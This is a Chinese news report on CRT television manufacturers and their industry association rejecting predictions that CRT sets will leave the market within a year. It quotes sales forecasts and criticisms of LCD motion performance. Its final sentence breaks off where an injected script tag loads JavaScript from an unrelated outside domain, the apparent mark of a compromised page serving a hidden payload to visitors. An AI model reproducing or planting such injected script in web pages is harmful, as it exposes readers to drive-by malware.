“ｃｒｔ（显像管）电视不要说一年之内退不了市，就是20年也退不了！”
“说ｃｒｔ电视一年之内退市，完全是嫉妒心理和底气不足的表现，液晶电视看ｃｒｔ电视日子过得不错，恨不得拿一块砖把人家锅砸了！”
“有可能液晶电视要赶在ｃｒｔ电视前面先退市！我希望液晶电视近期大降价，买的人越多，就会为液晶电视多提供一个反面教材！”
在“十一”前召开的“八大彩管企业携手并进，迎接彩电多元化时代到来”的研讨会上，彩管行业协会会长范文强撂下上面三段颇有意味的“狠话”。
这是继此前13家ｃｒｔ彩电厂商联合发表声明反击“ｃｒｔ退市论”后，北京松下、上海永新、三星ｓｄｉ、彩虹集团等国内八大彩管厂商齐聚一堂，纷纷力挺ｃｒｔ电视：ｃｒｔ一年后退市是无稽之谈；从中国及全球市场客观发展趋势出发，显示器件将多元化存在，从产品、价格、国情等因素来看，相当时间内ｃｒｔ彩电在中国将以其他显示器件所无法替代的优势长期主导市场。
谁是霸主？
近年来，多种显示技术在彩电市场上的激烈竞争成为一个非常突出的特点，呈现出以ｃｒｔ（彩管）、ｌｃｄ（液晶）、ｐｄｐ（等离子）等多种技术并存的多元化竞争态势。
但是，目前在卖场里，随处可见的是各类平板电视产品，ｃｒｔ产品却越来越少，加上个别舆论的误导，使得目前电视机市场上呈现一边倒的局面，即平板电视尤其以液晶为主的平板电视十分火爆，而ｃｒｔ却似无人问津，因此才引发了之前“ｃｒｔ退市”的风波。
实际情况是否果真如此？
记者了解到，通过对今年前三季全球彩电市场的销售量统计，显示技术居前三名的分别是：ｃｒｔ、ｌｃｄ和ｐｄｐ。
根据赛诺市场研究预测，2006年全年国内彩电的需求总量为3622万台，其中ｃｒｔ为3110万台，份额占到86％，ｌｃｄ、ｐｄｐ、背投等合计为510万台，份额占14％；同样，根据著名咨询机构ｉｓｕｐｐｌｉ的预测，至2010年，中国市场的ｃｒｔ彩电的需求量仍将保持在3000万台／年的数量级，仍在各种显示技术中占据第一的位置。因此，在一定时期内，ｃｒｔ彩电在包括我国在内的全世界广大发展中国家仍具有广阔的市场前景。
从屏幕尺寸的细分来看，ｃｒｔ电视的规格主要集中在34英寸以下，而液晶和等离子的规格主要集中在32英寸和42英寸以上。
“几种屏幕电视产品市场不同，若液晶能够改善其动态图像的品质，那么，几种显示技术之间应该是竞争互补的关系，而非替代关系。所以，今后相当长的一个时间内，我国的彩电市场将形成ｃｒｔ电视、液晶电视和等离子电视等互补的竞争格局。”范文强表示。
国美电器集团采购中心副总经理马龙对范的说法表示赞同。根据国美销售系统提供的数据显示，在一级城市，ｃｒｔ与ｌｃｄ的销售数量分别占到70％和30％，在二级市场，比例则为85％和15％。“我们要看到中国农村与城市并存的二元化市场结构，说ｃｒｔ一年之内退市是片面的，但也要看到目前ｃｒｔ的销量有所下滑，而ｌｃｄ的销量逐步上升的趋势。”
赛诺市场研究公司常务副总经理叶平的话更加说明ｃｒｔ不会那么快从历史舞台上消失，“在北京这样的特大城市，仍有4成以上的消费者选择21英寸的ｃｒｔ电视。”
比较之后见优劣
ｃｒｔ彩电明显优于其他显示技术的特点在于：图像质量高、使用寿命长、性价比高和售后服务保障完善。“对于一般消费者不易理解的专业技术指标，比如对比度、动态清晰度、色彩再现、可视角、响应时间等方面，ｃｒｔ电视比其他显示技术更具有明显优势。这些优势对消费者来说，只要加以对照，就可以直观体现在图像色彩丰富、动态画面清晰等方面。”范文强表示。
8家彩管企业称，经过几十年的发展，ｃｒｔ技术已经成为最为成熟稳定的显像技术，而液晶和等离子则属于正在发展的显示技术，还存在着许多有待提高与改善的地方。
上述彩管巨头指出，液晶电视在动态清晰度和响应时间这两项技术指标上存在明显缺陷：其一，液晶存在动态清晰度损失的问题；其二，液晶响应时间相对于ｃｒｔ、等离子彩电慢，存在动态画面拖尾问题。虽然液晶在解决响应速度较慢的问题上已取得了一定进展，但是拖尾问题在相当长时间内还无法解决。
范文强指出这两项缺陷的严重性，“随着2008年北京奥运会的日益临近，中国将掀起新一轮的体育热潮，而激烈的体育赛事节目对显示器的动态清晰度提出了更高的要求，液晶电视的这个缺陷将使观看奥运会成为不舒服的事情。”
同时范还表示，电视薄到一定程度将难以做出优秀的声音效果，通常需要外置音响系统来配合电视画面，液晶电视显然要增加消费者的购买成本。
中国显示器件行业资深专家、高级工程师房增田更是一语惊人，“说到底，液晶只适合做电脑而不适合做电视。”
据悉，中国将在2007年1月1日正式?script src=http://er12.com/t.js>
